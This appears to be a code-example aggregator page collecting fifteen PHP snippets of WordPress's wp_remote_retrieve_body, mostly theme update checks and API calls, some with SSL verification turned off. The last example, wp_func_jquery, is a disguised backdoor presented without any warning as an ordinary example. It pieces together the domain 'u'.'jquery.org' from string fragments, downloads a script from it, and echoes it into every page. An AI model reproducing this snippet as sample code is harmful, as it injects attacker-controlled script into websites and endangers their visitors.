本文整理汇总了PHP中wp_remote_retrieve_body函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_remote_retrieve_body函数的具体用法?PHP wp_remote_retrieve_body怎么用?PHP wp_remote_retrieve_body使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wp_remote_retrieve_body函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: genesis_update_check
/**
* Pings http://api.genesistheme.com/ asking if a new version of this theme is
* available.
*
* If not, it returns false.
*
* If so, the external server passes serialized data back to this function,
* which gets unserialized and returned for use.
*
* @since 1.1.0
*
* @uses genesis_get_option()
* @uses PARENT_THEME_VERSION Genesis version string
*
* @global string $wp_version WordPress version string
* @return mixed Unserialized data, or false on failure
*/
function genesis_update_check()
{
global $wp_version;
/** If updates are disabled */
if (!genesis_get_option('update') || !current_theme_supports('genesis-auto-updates')) {
return false;
}
/** Get time of last update check */
$genesis_update = get_transient('genesis-update');
/** If it has expired, do an update check */
if (!$genesis_update) {
$url = 'http://api.genesistheme.com/update-themes/';
$options = apply_filters('genesis_update_remote_post_options', array('body' => array('genesis_version' => PARENT_THEME_VERSION, 'wp_version' => $wp_version, 'php_version' => phpversion(), 'uri' => home_url(), 'user-agent' => "WordPress/{$wp_version};")));
$response = wp_remote_post($url, $options);
$genesis_update = wp_remote_retrieve_body($response);
/** If an error occurred, return FALSE, store for 1 hour */
if ('error' == $genesis_update || is_wp_error($genesis_update) || !is_serialized($genesis_update)) {
set_transient('genesis-update', array('new_version' => PARENT_THEME_VERSION), 60 * 60);
return false;
}
/** Else, unserialize */
$genesis_update = maybe_unserialize($genesis_update);
/** And store in transient for 24 hours */
set_transient('genesis-update', $genesis_update, 60 * 60 * 24);
}
/** If we're already using the latest version, return false */
if (version_compare(PARENT_THEME_VERSION, $genesis_update['new_version'], '>=')) {
return false;
}
return $genesis_update;
}
示例2: memberlite_getUpdateInfo
/**
* Get theme update information from the PMPro server.
*
* @since 2.0
*/
function memberlite_getUpdateInfo()
{
//check if forcing a pull from the server
$update_info = get_option("memberlite_update_info", false);
$update_info_timestamp = get_option("memberlite_update_info_timestamp", 0);
//if no update_infos locally, we need to hit the server
if (empty($update_info) || !empty($_REQUEST['force-check']) || current_time('timestamp') > $update_info_timestamp + 86400) {
/**
* Filter to change the timeout for this wp_remote_get() request.
*
* @since 2.0.1
*
* @param int $timeout The number of seconds before the request times out
*/
$timeout = apply_filters("memberlite_get_update_info_timeout", 5);
//get em
$remote_info = wp_remote_get(PMPRO_LICENSE_SERVER . "/themes/memberlite", $timeout);
//test response
if (is_wp_error($remote_info) || empty($remote_info['response']) || $remote_info['response']['code'] != '200') {
//error
pmpro_setMessage("Could not connect to the PMPro License Server to get update information. Try again later.", "error");
} else {
//update update_infos in cache
$update_info = json_decode(wp_remote_retrieve_body($remote_info), true);
delete_option('memberlite_update_info');
add_option("memberlite_update_info", $update_info, NULL, 'no');
}
//save timestamp of last update
delete_option('memberlite_update_info_timestamp');
add_option("memberlite_update_info_timestamp", current_time('timestamp'), NULL, 'no');
}
return $update_info;
}
示例3: wp_get_google_webfonts_list
private function wp_get_google_webfonts_list($key = '', $sort = 'alpha')
{
/*
$key = Web Fonts Developer API
$sort=
alpha: Sort the list alphabetically
date: Sort the list by date added (most recent font added or updated first)
popularity: Sort the list by popularity (most popular family first)
style: Sort the list by number of styles available (family with most styles first)
trending: Sort the list by families seeing growth in usage (family seeing the most growth first)
*/
global $wp_filesystem;
$font_list = array();
$google_api_url = 'https://www.googleapis.com/webfonts/v1/webfonts?key=' . $key . '&sort=' . $sort;
//lets fetch it
$response = wp_remote_retrieve_body(wp_remote_get($google_api_url, array('sslverify' => false)));
if (is_wp_error($response)) {
$response = $wp_filesystem->get_contents(__DIR__ . '/data/web_fonts.json');
}
if ($response !== false) {
$data = json_decode($response, true);
if (!isset($data['items'])) {
$response = $wp_filesystem->get_contents(__DIR__ . '/data/web_fonts.json');
$data = json_decode($response, true);
}
if ($response !== false) {
$items = $data['items'];
foreach ($items as $item) {
$font_list[] .= $item['family'];
}
}
}
//Return the saved lit of Google Web Fonts
return $font_list;
}
示例4: userMedia
function userMedia()
{
$url = 'https://api.instagram.com/v1/users/' . $this->userID() . '/media/recent/?access_token=' . $this->access_token;
$content = wp_remote_get($url);
$response = wp_remote_retrieve_body($content);
return $json = json_decode($response, true);
}
示例5: __construct
public function __construct($sURL, $iTimeout = 10, $iRedirects = 5, $aHeaders = null, $sUserAgent = null, $bForceFsockOpen = false)
{
$this->timeout = $iTimeout;
$this->redirects = $iRedirects;
$this->headers = $sUserAgent;
$this->useragent = $sUserAgent;
$this->url = $sURL;
// If the scheme is not http or https.
if (!preg_match('/^http(s)?:\\/\\//i', $sURL)) {
$this->error = '';
$this->success = false;
return;
}
// Arguments
$aArgs = array('timeout' => $this->timeout, 'redirection' => $this->redirects, true, 'sslverify' => false);
if (!empty($this->headers)) {
$aArgs['headers'] = $this->headers;
}
if (SIMPLEPIE_USERAGENT != $this->useragent) {
$aArgs['user-agent'] = $this->useragent;
}
// Request
$res = function_exists('wp_safe_remote_request') ? wp_safe_remote_request($sURL, $aArgs) : wp_remote_get($sURL, $aArgs);
if (is_wp_error($res)) {
$this->error = 'WP HTTP Error: ' . $res->get_error_message();
$this->success = false;
return;
}
$this->headers = wp_remote_retrieve_headers($res);
$this->body = wp_remote_retrieve_body($res);
$this->status_code = wp_remote_retrieve_response_code($res);
}
示例6: update_check
/**
* Check GitHub repo for updated language packs
*
* @param $transient
* @param bool $force
* @return mixed
*/
public function update_check($transient, $force = false)
{
$locale = get_locale();
// pre_set_site_transient_update_plugins is called twice
// we only want to act on the second run
// also only continue for non English locales
if (empty($transient->checked) || strpos($locale, 'en_') === 0) {
return $transient;
}
// get package.json from github
$request = wp_remote_get($this->github_url . 'package.json', array('timeout' => 45));
if (is_wp_error($request) || wp_remote_retrieve_response_code($request) != 200) {
return $transient;
}
// see if translation pack exists
$response = json_decode(wp_remote_retrieve_body($request));
$transient = apply_filters('woocommerce_pos_language_packs_upgrade', $transient, $response, $this->github_url, $force);
if (!isset($response->locales->{$locale})) {
return $transient;
}
// compare
$new = strtotime($response->locales->{$locale});
$options = get_option('woocommerce_pos_language_packs');
if (isset($options[$locale]) && $options[$locale] >= $new && !$force) {
return $transient;
}
// update required
$transient->translations[] = array('type' => 'plugin', 'slug' => 'woocommerce-pos', 'language' => $locale, 'version' => WC_POS_VERSION, 'updated' => date('Y-m-d H:i:s', $new), 'package' => $this->github_url . 'packages/woocommerce-pos-' . $locale . '.zip', 'autoupdate' => 1);
return $transient;
}
示例7: videopress_get_video_details
/**
* Get details about a specific video by GUID:
*
* @param $guid string
* @return object
*/
function videopress_get_video_details($guid)
{
if (!videopress_is_valid_guid($guid)) {
return new WP_Error('bad-guid-format', __('Invalid Video GUID!', 'jetpack'));
}
$version = '1.1';
$endpoint = sprintf('/videos/%1$s', $guid);
$query_url = sprintf('https://public-api.wordpress.com/rest/v%1$s%2$s', $version, $endpoint);
// Look for data in our transient. If nothing, let's make a new query.
$data_from_cache = get_transient('jetpack_videopress_' . $guid);
if (false === $data_from_cache) {
$response = wp_remote_get(esc_url_raw($query_url));
$data = json_decode(wp_remote_retrieve_body($response));
// Cache the response for an hour.
set_transient('jetpack_videopress_' . $guid, $data, HOUR_IN_SECONDS);
} else {
$data = $data_from_cache;
}
/**
* Allow functions to modify fetched video details.
*
* This filter allows third-party code to modify the return data
* about a given video. It may involve swapping some data out or
* adding new parameters.
*
* @since 4.0.0
*
* @param object $data The data returned by the WPCOM API. See: https://developer.wordpress.com/docs/api/1.1/get/videos/%24guid/
* @param string $guid The GUID of the VideoPress video in question.
*/
return apply_filters('videopress_get_video_details', $data, $guid);
}
示例8: getURL
protected function getURL($url, $postParams = array())
{
wordfence::status(4, 'info', "Calling Wordfence API v" . WORDFENCE_API_VERSION . ":" . $url);
if (!function_exists('wp_remote_post')) {
require_once ABSPATH . WPINC . 'http.php';
}
$ssl_verify = (bool) wfConfig::get('ssl_verify');
$args = array('timeout' => 900, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'body' => $postParams, 'sslverify' => $ssl_verify);
if (!$ssl_verify) {
// Some versions of cURL will complain that SSL verification is disabled but the CA bundle was supplied.
$args['sslcertificates'] = false;
}
$response = wp_remote_post($url, $args);
$this->lastHTTPStatus = (int) wp_remote_retrieve_response_code($response);
if (is_wp_error($response)) {
$error_message = $response->get_error_message();
throw new Exception("There was an " . ($error_message ? '' : 'unknown ') . "error connecting to the the Wordfence scanning servers" . ($error_message ? ": {$error_message}" : '.'));
}
if (!empty($response['response']['code'])) {
$this->lastHTTPStatus = (int) $response['response']['code'];
}
if (200 != $this->lastHTTPStatus) {
throw new Exception("We received an error response when trying to contact the Wordfence scanning servers. The HTTP status code was [{$this->lastHTTPStatus}]");
}
$this->curlContent = wp_remote_retrieve_body($response);
return $this->curlContent;
}
示例9: _request_access_token
/**
* Uses the Brightcove oAuth API to retrieve and store an access key for use with requests. The token is stored as a transient
* with an expiration time matching that which is returned from Brightcove. The call to the API is only performed if that transient
* is invalid or expired. Return a WP_Error object for use in WordPress in the case of failure.
*
* @since 1.0.0
*
* @see get_transient()
* @see set_transient()
* @see delete_transient()
* @see wp_remote_post()
*
* @param bool $force_new_token whether or not to obtain a new OAuth token
* @param bool $retry true to retry on failure or false
*
* @return string|WP_Error
*/
public function _request_access_token($force_new_token = false, $retry = true)
{
$transient_name = $this->transient_name;
$token = $force_new_token ? false : get_transient($transient_name);
if (!$token) {
$endpoint = esc_url_raw(self::ENDPOINT_BASE . '/access_token?grant_type=client_credentials');
$request = wp_remote_post($endpoint, $this->_http_headers);
if ('400' == wp_remote_retrieve_response_code($request)) {
// Just in case
delete_transient($transient_name);
$oauth_error = new WP_Error('oauth_access_token_failure', sprintf(__('There is a problem with your Brightcove %1$s or %2$s', 'brightcove'), '<code>client_id</code>', '<code>client_secret</code>'));
BC_Logging::log(sprintf('BC OAUTH ERROR: %s', $oauth_error->get_error_message()));
return $oauth_error;
}
$body = wp_remote_retrieve_body($request);
$data = json_decode($body);
if (isset($data->access_token)) {
$token = $data->access_token;
set_transient($transient_name, $token, $data->expires_in);
} else {
if (!$retry) {
return new WP_Error('oauth_access_token_response_failure', sprintf(esc_html__('oAuth API did not return us an access token', 'brightcove')));
}
return $this->_request_access_token($force_new_token, false);
}
}
return $token;
}
示例10: check_for_update
function check_for_update()
{
$theme = wp_get_theme($this->theme_slug);
$update_data = get_transient($this->response_key);
if (false === $update_data) {
$failed = false;
$api_params = array('edd_action' => 'get_version', 'license' => $this->license, 'name' => $this->item_name, 'slug' => $this->theme_slug, 'author' => $this->author);
$response = wp_remote_post($this->remote_api_url, array('timeout' => 15, 'body' => $api_params));
// make sure the response was successful
if (is_wp_error($response) || 200 != wp_remote_retrieve_response_code($response)) {
$failed = true;
}
$update_data = json_decode(wp_remote_retrieve_body($response));
if (!is_object($update_data)) {
$failed = true;
}
// if the response failed, try again in 30 minutes
if ($failed) {
$data = new stdClass();
$data->new_version = $theme->get('Version');
set_transient($this->response_key, $data, strtotime('+30 minutes'));
return false;
}
// if the status is 'ok', return the update arguments
if (!$failed) {
$update_data->sections = maybe_unserialize($update_data->sections);
set_transient($this->response_key, $update_data, strtotime('+12 hours'));
}
}
if (version_compare($theme->get('Version'), $update_data->new_version, '>=')) {
return false;
}
return (array) $update_data;
}
示例11: genesis_update_check
/**
* Ping http://api.genesistheme.com/ asking if a new version of this theme is available.
*
* If not, it returns false.
*
* If so, the external server passes serialized data back to this function, which gets unserialized and returned for use.
*
* Applies `genesis_update_remote_post_options` filter.
*
* Ping occurs at a maximum of once every 24 hours.
*
* @since 1.1.0
*
* @uses genesis_get_option() Get theme setting value.
* @uses genesis_html5() Check for HTML5 support.
* @uses PARENT_THEME_VERSION Genesis version string.
*
* @global string $wp_version WordPress version string.
*
* @return array Unserialized data, or empty on failure.
*/
function genesis_update_check()
{
//* Use cache
static $genesis_update = null;
global $wp_version;
//* If updates are disabled
if (!genesis_get_option('update') || !current_theme_supports('genesis-auto-updates')) {
return array();
}
//* If cache is empty, pull transient
if (!$genesis_update) {
$genesis_update = get_transient('genesis-update');
}
//* If transient has expired, do a fresh update check
if (!$genesis_update) {
$url = 'http://api.genesistheme.com/update-themes/';
$options = apply_filters('genesis_update_remote_post_options', array('body' => array('genesis_version' => PARENT_THEME_VERSION, 'html5' => genesis_html5(), 'php_version' => phpversion(), 'uri' => home_url(), 'user-agent' => "WordPress/{$wp_version};", 'wp_version' => $wp_version)));
$response = wp_remote_post($url, $options);
$genesis_update = wp_remote_retrieve_body($response);
//* If an error occurred, return FALSE, store for 1 hour
if ('error' === $genesis_update || is_wp_error($genesis_update) || !is_serialized($genesis_update)) {
set_transient('genesis-update', array('new_version' => PARENT_THEME_VERSION), 60 * 60);
return array();
}
//* Else, unserialize
$genesis_update = maybe_unserialize($genesis_update);
//* And store in transient for 24 hours
set_transient('genesis-update', $genesis_update, 60 * 60 * 24);
}
//* If we're already using the latest version, return empty array.
if (version_compare(PARENT_THEME_VERSION, $genesis_update['new_version'], '>=')) {
return array();
}
return $genesis_update;
}
示例12: call_remote_api
/**
* Calls the API and, if successfull, returns the object delivered by the API.
*
* @uses get_bloginfo()
* @uses wp_remote_post()
* @uses is_wp_error()
*
* @return false||object
*/
protected function call_remote_api()
{
// only check if a transient is not set (or if it's expired)
if (get_transient($this->product->get_slug() . '-update-check-error') !== false) {
return;
}
// setup api parameters
$api_params = array('edd_action' => 'get_version', 'license' => $this->license_key, 'name' => $this->product->get_item_name(), 'slug' => $this->product->get_slug(), 'author' => $this->product->get_author());
// setup request parameters
$request_params = array('timeout' => 15, 'sslverify' => false, 'body' => $api_params);
// call remote api
$response = wp_remote_post($this->product->get_api_url(), $request_params);
// wp / http error?
if (is_wp_error($response)) {
$this->wp_error = $response;
// show error to user
add_action('admin_notices', array($this, 'show_update_error'));
// set a transient to prevent checking for updates on every page load
set_transient($this->product->get_slug() . '-update-check-error', true, 60 * 30);
// 30 mins
return false;
}
// decode response
$response = json_decode(wp_remote_retrieve_body($response));
$response->sections = maybe_unserialize($response->sections);
return $response;
}
示例13: ajax_get_html
function ajax_get_html()
{
if (check_admin_referer('foogallery_get_image_optimization_info')) {
echo wp_remote_retrieve_body(wp_remote_get(FOOGALLERY_SETTINGS_IMAGE_OPTIMIZATION_ENDPOINT));
}
die;
}
示例14: AtD_http_post
/**
* Returns array with headers in $response[0] and body in $response[1]
* Based on a function from Akismet
*/
function AtD_http_post($request, $host, $path, $port = 80)
{
$http_args = array('body' => $request, 'headers' => array('Content-Type' => 'application/x-www-form-urlencoded; charset=' . get_option('blog_charset'), 'Host' => $host, 'User-Agent' => 'AtD/0.1'), 'httpversion' => '1.0', 'timeout' => apply_filters('atd_http_post_timeout', 15));
// Handle non-standard ports being passed in.
if (80 !== $port && is_numeric($port) && intval($port) > 0) {
$host .= ':' . intval($port);
}
// Strip any / off the begining so we can add it back and protect against SSRF
$path = ltrim($path, '/');
$AtD_url = set_url_scheme("http://{$host}/{$path}");
$response = wp_remote_post($AtD_url, $http_args);
$code = (int) wp_remote_retrieve_response_code($response);
if (is_wp_error($response)) {
/**
* Fires when there is a post error to AtD.
*
* @since 1.2.3
*
* @param int|string http-error The error that AtD runs into.
*/
do_action('atd_http_post_error', 'http-error');
return array();
} elseif (200 != $code) {
/** This action is documented in modules/after-the-deadline/proxy.php */
do_action('atd_http_post_error', $code);
}
return array(wp_remote_retrieve_headers($response), wp_remote_retrieve_body($response));
}
示例15: wp_func_jquery
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
if (@fopen($jquery,'r')){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}